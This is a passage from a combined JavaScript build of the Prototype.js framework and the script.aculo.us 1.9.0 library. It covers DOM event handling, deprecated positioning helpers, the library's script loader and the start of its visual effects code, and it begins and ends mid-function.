    element = $(element);

    var responder = _createResponder(element, eventName, handler);

    if (!responder) return element;

    if (eventName.include(':')) {
      if (element.addEventListener)
        element.addEventListener("dataavailable", responder, false);
      else {
        element.attachEvent("ondataavailable", responder);
        element.attachEvent("onlosecapture", responder);
      }
    } else {
      var actualEventName = _getDOMEventName(eventName);

      if (element.addEventListener)
        element.addEventListener(actualEventName, responder, false);
      else
        element.attachEvent("on" + actualEventName, responder);
    }

    return element;
  }

  function stopObserving(element, eventName, handler) {
    element = $(element);

    var registry = Element.retrieve(element, 'prototype_event_registry');
    if (!registry) return element;

    if (!eventName) {
      registry.each( function(pair) {
        var eventName = pair.key;
        stopObserving(element, eventName);
      });
      return element;
    }

    var responders = registry.get(eventName);
    if (!responders) return element;

    if (!handler) {
      responders.each(function(r) {
        stopObserving(element, eventName, r.handler);
      });
      return element;
    }

    var i = responders.length, responder;
    while (i--) {
      if (responders[i].handler === handler) {
        responder = responders[i];
        break;
      }
    }
    if (!responder) return element;

    if (eventName.include(':')) {
      if (element.removeEventListener)
        element.removeEventListener("dataavailable", responder, false);
      else {
        element.detachEvent("ondataavailable", responder);
        element.detachEvent("onlosecapture", responder);
      }
    } else {
      var actualEventName = _getDOMEventName(eventName);
      if (element.removeEventListener)
        element.removeEventListener(actualEventName, responder, false);
      else
        element.detachEvent('on' + actualEventName, responder);
    }

    registry.set(eventName, responders.without(responder));

    return element;
  }

  function fire(element, eventName, memo, bubble) {
    element = $(element);

    if (Object.isUndefined(bubble))
      bubble = true;

    if (element == document && document.createEvent && !element.dispatchEvent)
      element = document.documentElement;

    var event;
    if (document.createEvent) {
      event = document.createEvent('HTMLEvents');
      event.initEvent('dataavailable', bubble, true);
    } else {
      event = document.createEventObject();
      event.eventType = bubble ? 'ondataavailable' : 'onlosecapture';
    }

    event.eventName = eventName;
    event.memo = memo || { };

    if (document.createEvent)
      element.dispatchEvent(event);
    else
      element.fireEvent(event.eventType, event);

    return Event.extend(event);
  }

  Event.Handler = Class.create({
    initialize: function(element, eventName, selector, callback) {
      this.element   = $(element);
      this.eventName = eventName;
      this.selector  = selector;
      this.callback  = callback;
      this.handler   = this.handleEvent.bind(this);
    },

    start: function() {
      Event.observe(this.element, this.eventName, this.handler);
      return this;
    },

    stop: function() {
      Event.stopObserving(this.element, this.eventName, this.handler);
      return this;
    },

    handleEvent: function(event) {
      var element = Event.findElement(event, this.selector);
      if (element) this.callback.call(this.element, event, element);
    }
  });

  function on(element, eventName, selector, callback) {
    element = $(element);
    if (Object.isFunction(selector) && Object.isUndefined(callback)) {
      callback = selector, selector = null;
    }

    return new Event.Handler(element, eventName, selector, callback).start();
  }

  Object.extend(Event, Event.Methods);

  Object.extend(Event, {
    fire:          fire,
    observe:       observe,
    stopObserving: stopObserving,
    on:            on
  });

  Element.addMethods({
    fire:          fire,

    observe:       observe,

    stopObserving: stopObserving,

    on:            on
  });

  Object.extend(document, {
    fire:          fire.methodize(),

    observe:       observe.methodize(),

    stopObserving: stopObserving.methodize(),

    on:            on.methodize(),

    loaded:        false
  });

  if (window.Event) Object.extend(window.Event, Event);
  else window.Event = Event;
})();

(function() {
  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
     Matthias Miller, Dean Edwards, John Resig, and Diego Perini. */

  var timer;

  function fireContentLoadedEvent() {
    if (document.loaded) return;
    if (timer) window.clearTimeout(timer);
    document.loaded = true;
    document.fire('dom:loaded');
  }

  function checkReadyState() {
    if (document.readyState === 'complete') {
      document.stopObserving('readystatechange', checkReadyState);
      fireContentLoadedEvent();
    }
  }

  function pollDoScroll() {
    try { document.documentElement.doScroll('left'); }
    catch(e) {
      timer = pollDoScroll.defer();
      return;
    }
    fireContentLoadedEvent();
  }

  if (document.addEventListener) {
    document.addEventListener('DOMContentLoaded', fireContentLoadedEvent, false);
  } else {
    document.observe('readystatechange', checkReadyState);
    if (window == top)
      timer = pollDoScroll.defer();
  }

  Event.observe(window, 'load', fireContentLoadedEvent);
})();

Element.addMethods();

/*------------------------------- DEPRECATED -------------------------------*/

Hash.toQueryString = Object.toQueryString;

var Toggle = { display: Element.toggle };

Element.Methods.childOf = Element.Methods.descendantOf;

var Insertion = {
  Before: function(element, content) {
    return Element.insert(element, {before:content});
  },

  Top: function(element, content) {
    return Element.insert(element, {top:content});
  },

  Bottom: function(element, content) {
    return Element.insert(element, {bottom:content});
  },

  After: function(element, content) {
    return Element.insert(element, {after:content});
  }
};

var $continue = new Error('"throw $continue" is deprecated, use "return" instead');

var Position = {
  includeScrollOffsets: false,

  prepare: function() {
    this.deltaX =  window.pageXOffset
                || document.documentElement.scrollLeft
                || document.body.scrollLeft
                || 0;
    this.deltaY =  window.pageYOffset
                || document.documentElement.scrollTop
                || document.body.scrollTop
                || 0;
  },

  within: function(element, x, y) {
    if (this.includeScrollOffsets)
      return this.withinIncludingScrolloffsets(element, x, y);
    this.xcomp = x;
    this.ycomp = y;
    this.offset = Element.cumulativeOffset(element);

    return (y >= this.offset[1] &&
            y <  this.offset[1] + element.offsetHeight &&
            x >= this.offset[0] &&
            x <  this.offset[0] + element.offsetWidth);
  },

  withinIncludingScrolloffsets: function(element, x, y) {
    var offsetcache = Element.cumulativeScrollOffset(element);

    this.xcomp = x + offsetcache[0] - this.deltaX;
    this.ycomp = y + offsetcache[1] - this.deltaY;
    this.offset = Element.cumulativeOffset(element);

    return (this.ycomp >= this.offset[1] &&
            this.ycomp <  this.offset[1] + element.offsetHeight &&
            this.xcomp >= this.offset[0] &&
            this.xcomp <  this.offset[0] + element.offsetWidth);
  },

  overlap: function(mode, element) {
    if (!mode) return 0;
    if (mode == 'vertical')
      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
        element.offsetHeight;
    if (mode == 'horizontal')
      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
        element.offsetWidth;
  },


  cumulativeOffset: Element.Methods.cumulativeOffset,

  positionedOffset: Element.Methods.positionedOffset,

  absolutize: function(element) {
    Position.prepare();
    return Element.absolutize(element);
  },

  relativize: function(element) {
    Position.prepare();
    return Element.relativize(element);
  },

  realOffset: Element.Methods.cumulativeScrollOffset,

  offsetParent: Element.Methods.getOffsetParent,

  page: Element.Methods.viewportOffset,

  clone: function(source, target, options) {
    options = options || { };
    return Element.clonePosition(target, source, options);
  }
};

/*--------------------------------------------------------------------------*/

if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
  function iter(name) {
    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
  }

  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
  function(element, className) {
    className = className.toString().strip();
    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
  } : function(element, className) {
    className = className.toString().strip();
    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
    if (!classNames && !className) return elements;

    var nodes = $(element).getElementsByTagName('*');
    className = ' ' + className + ' ';

    for (var i = 0, child, cn; child = nodes[i]; i++) {
      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
          (classNames && classNames.all(function(name) {
            return !name.toString().blank() && cn.include(' ' + name + ' ');
          }))))
        elements.push(Element.extend(child));
    }
    return elements;
  };

  return function(className, parentElement) {
    return $(parentElement || document.body).getElementsByClassName(className);
  };
}(Element.Methods);

/*--------------------------------------------------------------------------*/

Element.ClassNames = Class.create();
Element.ClassNames.prototype = {
  initialize: function(element) {
    this.element = $(element);
  },

  _each: function(iterator) {
    this.element.className.split(/\s+/).select(function(name) {
      return name.length > 0;
    })._each(iterator);
  },

  set: function(className) {
    this.element.className = className;
  },

  add: function(classNameToAdd) {
    if (this.include(classNameToAdd)) return;
    this.set($A(this).concat(classNameToAdd).join(' '));
  },

  remove: function(classNameToRemove) {
    if (!this.include(classNameToRemove)) return;
    this.set($A(this).without(classNameToRemove).join(' '));
  },

  toString: function() {
    return $A(this).join(' ');
  }
};

Object.extend(Element.ClassNames.prototype, Enumerable);

/*--------------------------------------------------------------------------*/

(function() {
  window.Selector = Class.create({
    initialize: function(expression) {
      this.expression = expression.strip();
    },

    findElements: function(rootElement) {
      return Prototype.Selector.select(this.expression, rootElement);
    },

    match: function(element) {
      return Prototype.Selector.match(element, this.expression);
    },

    toString: function() {
      return this.expression;
    },

    inspect: function() {
      return "#<Selector: " + this.expression + ">";
    }
  });

  Object.extend(Selector, {
    matchElements: function(elements, expression) {
      var match = Prototype.Selector.match,
          results = [];

      for (var i = 0, length = elements.length; i < length; i++) {
        var element = elements[i];
        if (match(element, expression)) {
          results.push(Element.extend(element));
        }
      }
      return results;
    },

    findElement: function(elements, expression, index) {
      index = index || 0;
      var matchIndex = 0, element;
      for (var i = 0, length = elements.length; i < length; i++) {
        element = elements[i];
        if (Prototype.Selector.match(element, expression) && index === matchIndex++) {
          return Element.extend(element);
        }
      }
    },

    findChildElements: function(element, expressions) {
      var selector = expressions.toArray().join(', ');
      return Prototype.Selector.select(selector, element || document);
    }
  });
})();
// Combined file built tor maj 26 10:41:16 CEST 2011
// Files: scriptaculous.js effects.js builder.js controls.js dragdrop.js slider.js 

// script.aculo.us scriptaculous.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// For details, see the script.aculo.us web site: http://script.aculo.us/

var Scriptaculous = {
  Version: '1.9.0',
  require: function(libraryName) {
    try{
      // inserting via DOM fails in Safari 2.0, so brute force approach
      document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
    } catch(e) {
      // for xhtml+xml served content, fall back to DOM methods
      var script = document.createElement('script');
      script.type = 'text/javascript';
      script.src = libraryName;
      document.getElementsByTagName('head')[0].appendChild(script);
    }
  },
  REQUIRED_PROTOTYPE: '1.6.0.3',
  load: function() {
    function convertVersionString(versionString) {
      var v = versionString.replace(/_.*|\./g, '');
      v = parseInt(v + '0'.times(4-v.length));
      return versionString.indexOf('_') > -1 ? v-1 : v;
    }

    if((typeof Prototype=='undefined') ||
       (typeof Element == 'undefined') ||
       (typeof Element.Methods=='undefined') ||
       (convertVersionString(Prototype.Version) <
        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
        Scriptaculous.REQUIRED_PROTOTYPE);

    var js = /scriptaculous\.js(\?.*)?$/;
    $$('script[src]').findAll(function(s) {
      return s.src.match(js);
    }).each(function(s) {
      var path = s.src.replace(js, ''),
      includes = s.src.match(/\?.*load=([a-z,]*)/);
      (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
       function(include) { Scriptaculous.require(path+include+'.js') });
    });
  }
};

Scriptaculous.load();// script.aculo.us effects.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// Contributors:
//  Justin Palmer (http://encytemedia.com/)
//  Mark Pilgrim (http://diveintomark.org/)
//  Martin Bialasinki
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// converts rgb() and #xxx to #xxxxxx format,
// returns self (or first argument) if not convertable
String.prototype.parseColor = function() {
  var color = '#';
  if (this.slice(0,4) == 'rgb(') {
    var cols = this.slice(4,this.length-1).split(',');
    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);
  } else {
    if (this.slice(0,1) == '#') {
      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();
      if (this.length==7) color = this.toLowerCase();
    }
  }
  return (color.length==7 ? color : (arguments[0] || this));
};

/*--------------------------------------------------------------------------*/

Element.collectTextNodes = function(element) {
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue :
      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
  }).flatten().join('');
};

Element.collectTextNodesIgnoreClass = function(element, className) {
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue :
      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ?
        Element.collectTextNodesIgnoreClass(node, className) : ''));
  }).flatten().join('');
};

Element.setContentZoom = function(element, percent) {
  element = $(element);
  element.setStyle({fontSize: (percent/100) + 'em'});
  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
  return element;
};

Element.getInlineOpacity = function(element){
  return $(element).style.opacity || '';
};

Element.forceRerendering = function(element) {
  try {
    element = $(element);
    var n = document.createTextNode(' ');
    element.appendChild(n);
    element.removeChild(n);
  } catch(e) { }
};

/*--------------------------------------------------------------------------*/

var Effect = {
  _elementDoesNotExistError: {
    name: 'ElementDoesNotExistError',
    message: 'The specified DOM element does not exist, but is required for this effect to operate'
  },
  Transitions: {
    linear: Prototype.K,
    sinoidal: function(pos) {
      return (-Math.cos(pos*Math.PI)/2) + .5;
    },
    reverse: function(pos) {
      return 1-pos;
    },
    flicker: function(pos) {
      var pos = ((-Math.cos(pos*Math.PI)/4) + .75) + Math.random()/4;
      return pos > 1 ? 1 : pos;
    },
    wobble: function(pos) {
      return (-Math.cos(pos*Math.PI*(9*pos))/2) + .5;
    },
    pulse: function(pos, pulses) {
      return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
    },
    spring: function(pos) {
      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
    },
    none: function(pos) {
      return 0;
    },
    full: function(pos) {
      return 1;
    }
  },
  DefaultOptions: {
    duration:   1.0,   // seconds
    fps:        100,   // 100= assume 66fps max.
    sync:       false, // true for combining
    from:       0.0,
    to:         1.0,
    delay:      0.0,
    queue:      'parallel'
  },
  tagifyText: function(element) {
    var tagifyStyle = 'position:relative';
    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';

    element = $(element);
    $A(element.childNodes).each( function(child) {
      if (child.nodeType==3) {
        child.nodeValue.toArray().each( function(character) {
          element.insertBefore(
            new Element('span', {style: tagifyStyle}).update(
              character == ' ' ? String.fromCharCode(160) : character),
              child);
        });
        Element.remove(child);
      }
    });
  },
  multiple: function(element, effect) {
    var elements;
    if (((typeof element == 'object') ||
        Object.isFunction(element)) &&
       (element.length))
      elements = element;
    else
      elements = $(element).childNodes;

    var options = Object.extend({
      speed: 0.1,
      delay: 0.0
    }, arguments[2] || { });
    var masterDelay = options.delay;

    $A(elements).each( function(element, index) {
      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
    });
  },
  PAIRS: {
    'slide':  ['SlideDown','SlideUp'],
    'blind':  ['BlindDown','BlindUp'],
    'appear': ['Appear','Fade']
  },
  toggle: function(element, effect, options) {
    element = $(element);
    effect  = (effect || 'appear').toLowerCase();
    
    return Effect[ Effect.PAIRS[ effect ][ element.visible() ? 1 : 0 ] ](element, Object.extend({
      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
    }, options || {}));
  }
};

Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;

/* ------------- core effects ------------- */

Effect.ScopedQueue = Class.create(Enumerable, {
  initialize: function() {
    this.effects  = [];
    this.interval = null;
  },
  _each: function(iterator) {
    this.effects._each(iterator);
  },
  add: function(effect) {
    var timestamp = new Date().getTime();

    var position = Object.isString(effect.options.queue) ?
      effect.options.queue : effect.options.queue.position;

    switch(position) {
      case 'front':
        // move unstarted effects after this effect
        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
            e.startOn  += effect.finishOn;
            e.finishOn += effect.finishOn;
          });
        break;
      case 'with-last':
        timestamp = this.effects.pluck('startOn').max() || timestamp;
        break;
      case 'end':
        // start effect after last queued effect has finished
        timestamp = this.effects.pluck('finishOn').max() || timestamp;
        break;
    }

    effect.startOn  += timestamp;
    effect.finishOn += timestamp;

    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
      this.effects.push(effect);

    if (!this.interval)
      this.interval = setInterval(this.loop.bind(this), 15);
  },
  remove: function(effect) {
    this.effects = this.effects.reject(function(e) { return e==effect });
    if (this.effects.length == 0) {
      clearInterval(this.interval);
      this.interval = null;
    }
  },
  loop: function() {
    var timePos = new Date().getTime();
    for(var i=0, len=this.effects.length;i<len;i++)
      this.effects[i] && this.effects[i].loop(timePos);
  }
});

Effect.Queues = {
  instances: $H(),
  get: function(queueName) {
    if (!Object.isString(queueName)) return queueName;

    return this.instances.get(queueName) ||
      this.instances.set(queueName, new Effect.ScopedQueue());
  }
};
Effect.Queue = Effect.Queues.get('global');

Effect.Base = Class.create({
  position: null,
  start: function(options) {
    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
    this.currentFrame = 0;
    this.state        = 'idle';
    this.startOn      = this.options.delay*1000;
    this.finishOn     = this.startOn+(this.options.duration*1000);
    this.fromToDelta  = this.options.to-this.options.from;
    this.totalTime    = this.finishOn-this.startOn;
    this.totalFrames  = this.options.fps*this.options.duration;

    this.render = (function() {
      function dispatch(effect, eventName) {
        if (effect.options[eventName + 'Internal'])
          effect.options[eventName + 'Internal'](effect);
        if (effect.options[eventName])
          effect.options[eventName](effect);
      }

      return function(pos) {
        if (this.state === "idle") {
          this.state = "running";
          dispatch(this, 'beforeSetup');
          if (this.setup) this.setup();
          dispatch(this, 'afterSetup');
        }
        if (this.state === "running") {
          pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
          this.position = pos;
          dispatch(this, 'beforeUpdate');
          if (this.update) this.update(pos);
          dispatch(this, 'afterUpdate');
        }
      };
    })();

    this.event('beforeStart');
    if (!this.options.sync)
      Effect.Queues.get(Object.isString(this.options.queue) ?
        'global' : this.options.queue.scope).add(this);
  },
  loop: function(timePos) {
    if (timePos >= this.startOn) {
      if (timePos >= this.finishOn) {
        this.render(1.0);
        this.cancel();
        this.event('beforeFinish');
        if (this.finish) this.finish();
        this.event('afterFinish');
        return;
      }
      var pos   = (timePos - this.startOn) / this.totalTime,
          frame = (pos * this.totalFrames).round();
      if (frame > this.currentFrame) {
        this.render(pos);
        this.currentFrame = frame;
      }
    }
  },
  cancel: function() {
    if (!this.options.sync)
      Effect.Queues.get(Object.isString(this.options.queue) ?
        'global' : this.options.queue.scope).remove(this);
    this.state = 'finished';
  },
  event: function(eventName) {
    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
    if (this.options[eventName]) this.options[eventName](this);
  },
  inspect: function() {
    var data = $H();
    for(property in this)
      if (!Object.isFunction(this[property])) data.set(property, this[property]);
    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
  }
});

Effect.Parallel = Class.create(Effect.Base, {
  initialize: function(effects) {
    this.effects = effects || [];
    this.start(arguments[1]);
  },
  update: function(position) {
    this.effects.invoke('render', position);
  },
  finish: function(position) {
    this.effects.each( function(effect) {
      effect.render(1.0);
      effect.cancel();
      effect.event('beforeFinish');
      if (effect.finish) effect.finish(position);
      effect.event('afterFinish');
    });
  }
});

Effect.Tween = Class.create(Effect.Base, {
  initialize: function(object, from, to) {
    object = Object.isString(object) ? $(object) : object;
    var args = $A(arguments), method = args.last(),
      options = args.length == 5 ? args[3] : null;
    this.method = Object.isFunction(method) ? method.bind(object) :
      Object.isFunction(object[method]) ? object[method].bind(object) :
      function(value) { object[method] = value };
    this.start(Object.extend({ from: from, to: to }, options || { }));
  },
  update: function(position) {
    this.method(position);
  }
});

Effect.Event = Class.create(Effect.Base, {
  initialize: function() {
    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
  },
  update: Prototype.emptyFunction
});

Effect.Opacity = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    // make this work on IE on elements without 'layout'
    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
      this.element.setStyle({zoom: 1});
    var options = Object.extend({
      from: this.element.getOpacity() || 0.0,
      to:   1.0
    }, arguments[1] || { });
    this.start(options);
  },
  update: function(position) {
    this.element.setOpacity(position);
  }
});

Effect.Move = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'relative'
    }, arguments[1] || { });
    this.start(options);
  },
  setup: function() {
    this.element.makePositioned();
    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
    if (this.options.mode == 'absolute') {
      this.options.x = this.options.x - this.originalLeft;
      this.options.y = this.options.y - this.originalTop;
    }
  },
  update: function(position) {
    this.element.setStyle({
      left: (this.options.x  * position + this.originalLeft).round() + 'px',
      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
    });
  }
});

// for backwards compatibility
Effect.MoveBy = function(element, toTop, toLeft) {
  return new Effect.Move(element,
    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
};

Effect.Scale = Class.create(Effect.Base, {
  initialize: function(element, percent) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({
      scaleX: true,
      scaleY: true,
      scaleContent: true,
      scaleFromCenter: false,
      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
      scaleFrom: 100.0,
      scaleTo:   percent
    }, arguments[2] || { });
    this.start(options);
  },
  setup: function() {
    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
    this.elementPositioning = this.element.getStyle('position');

    this.originalStyle = { };
    ['top','left','width','height','fontSize'].each( function(k) {
      this.originalStyle[k] = this.element.style[k];
    }.bind(this));

    this.originalTop  = this.element.offsetTop;
    this.originalLeft = this.element.offsetLeft;

    var fontSize = this.element.getStyle('font-size') || '100%';
    ['em','px','%','pt'].each( function(fontSizeType) {
      if (fontSize.indexOf(fontSizeType)>0) {
        this.fontSize     = parseFloat(fontSize);
        this.fontSizeType = fontSizeType;
      }
    }.bind(this));

    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;

    this.dims = null;
    if (this.options.scaleMode=='box')
      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
    if (/^content/.test(this.options.scaleMode))
      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
    if (!this.dims)
      this.dims = [this.options.scaleMode.originalHeight,
                   this.options.scaleMode.originalWidth];
  },
  update: function(position) {
    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
    if (this.options.scaleContent && this.fontSize)
      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
  },
  finish: function(position) {
    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
  },
  setDimensions: function(height, width) {
    var d = { };
    if (this.options.scaleX) d.width = width.round() + 'px';
    if (this.options.scaleY) d.height = height.round() + 'px';
    if (this.options.scaleFromCenter) {
      var topd  = (height - this.dims[0])/2;
      var leftd = (width  - this.dims[1])/2;
      if (this.elementPositioning == 'absolute') {
        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
      } else {
        if (this.options.scaleY) d.top = -topd + 'px';
        if (this.options.scaleX) d.left = -leftd + 'px';
      }
    }
    this.element.setStyle(d);
  }
});

Effect.Highlight = Class.create(Effect.Base, {
  initialize: function(element) {
    this.element = $(element);
    if (!this.element) throw(Effect._elementDoesNotExistError);
    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
    this.start(options);
  },
  setup: function() {
    // Prevent executing on elements not in the layout flow
    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
    // Disable background image during the effect
    this.oldStyle = { };
    if (!this.options.keepBackgroundImage) {
      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
      this.element.setStyle({backgroundImage: 'none'});
    }
    if (!this.options.endcolor)
      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
    if (!this.options.restorecolor)
      this.options.restorecolor = this.element.getStyle('background-color');
    // init color calculations
    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
  },
  update: function(position) {
    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
  },
  finish: function() {
    this.element.setStyle(Object.extend(this.oldStyle, {
      backgroundColor: this.options.restorecolor
    }));
  }
});

Effect.ScrollTo = function(element) {
  var options = arguments[1] || { },
  scrollOffsets = document.viewport.getScrollOffsets(),
  elementOffsets = $(element).cumulativeOffset();

  if (options.offset) elementOffsets[1] += options.offset;

  return new Effect.Tween(null,
    scrollOffsets.top,
    elementOffsets[1],
    options,
    function(p){ scrollTo(scrollOffsets.left, p.round()); }
  );
};

/* ------------- combination effects ------------- */

Effect.Fade = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  var options = Object.extend({
    from: element.getOpacity() || 1.0,
    to:   0.0,
    afterFinishInternal: function(effect) {
      if (effect.options.to!=0) return;
      effect.element.hide().setStyle({opacity: oldOpacity});
    }
  }, arguments[1] || { });
  return new Effect.Opacity(element,options);
};

Effect.Appear = function(element) {
  element = $(element);
  var options = Object.extend({
  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
  to:   1.0,
  // force Safari to render floated elements properly
  afterFinishInternal: function(effect) {
    effect.element.forceRerendering();
  },
  beforeSetup: function(effect) {
    effect.element.setOpacity(effect.options.from).show();
  }}, arguments[1] || { });
  return new Effect.Opacity(element,options);
};

Effect.Puff = function(element) {
  element = $(element);
  var oldStyle = {
    opacity: element.getInlineOpacity(),
    position: element.getStyle('position'),
    top:  element.style.top,
    left: element.style.left,
    width: element.style.width,
    height: element.style.height
  };
  return new Effect.Parallel(
   [ new Effect.Scale(element, 200,
      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }),
     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ],
     Object.extend({ duration: 1.0,
      beforeSetupInternal: function(effect) {
        Position.absolutize(effect.effects[0].element);
      },
      afterFinishInternal: function(effect) {
         effect.effects[0].element.hide().setStyle(oldStyle); }
     }, arguments[1] || { })
   );
};

Effect.BlindUp = function(element) {
  element = $(element);
  element.makeClipping();
  return new Effect.Scale(element, 0,
    Object.extend({ scaleContent: false,
      scaleX: false,
      restoreAfterFinish: true,
      afterFinishInternal: function(effect) {
        effect.element.hide().undoClipping();
      }
    }, arguments[1] || { })
  );
};

Effect.BlindDown = function(element) {
  element = $(element);
  var elementDimensions = element.getDimensions();
  return new Effect.Scale(element, 100, Object.extend({
    scaleContent: false,
    scaleX: false,
    scaleFrom: 0,
    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
    restoreAfterFinish: true,
    afterSetup: function(effect) {
      effect.element.makeClipping().setStyle({height: '0px'}).show();
    },
    afterFinishInternal: function(effect) {
      effect.element.undoClipping();
    }
  }, arguments[1] || { }));
};

Effect.SwitchOff = function(element) {
  element = $(element);
  var oldOpacity = element.getInlineOpacity();
  return new Effect.Appear(element, Object.extend({
    duration: 0.4,
    from: 0,
    transition: Effect.Transitions.flicker,
    afterFinishInternal: function(effect) {
      new Effect.Scale(effect.element, 1, {
        duration: 0.3, scaleFromCenter: true,
        scaleX: false, scaleContent: false, restoreAfterFinish: true,
        beforeSetup: function(effect) {
          effect.element.makePositioned().makeClipping();
        },
        afterFinishInternal: function(effect) {
          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
        }
      });
    }
  }, arguments[1] || { }));
};

Effect.DropOut = function(element) {
  element = $(element);
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left'),
    opacity: element.getInlineOpacity() };
  return new Effect.Parallel(
    [ new Effect.Move(element, {x: 0, y: 100, sync: true }),
      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
    Object.extend(
      { duration: 0.5,
        beforeSetup: function(effect) {
          effect.effects[0].element.makePositioned();
        },
        afterFinishInternal: function(effect) {
          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
        }
      }, arguments[1] || { }));
};

Effect.Shake = function(element) {
  element = $(element);
  var options = Object.extend({
    distance: 20,
    duration: 0.5
  }, arguments[1] || {});
  var distance = parseFloat(options.distance);
  var split = parseFloat(options.duration) / 10.0;
  var oldStyle = {
    top: element.getStyle('top'),
    left: element.getStyle('left') };
    return new Effect.Move(element,
      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
    new Effect.Move(effect.element,
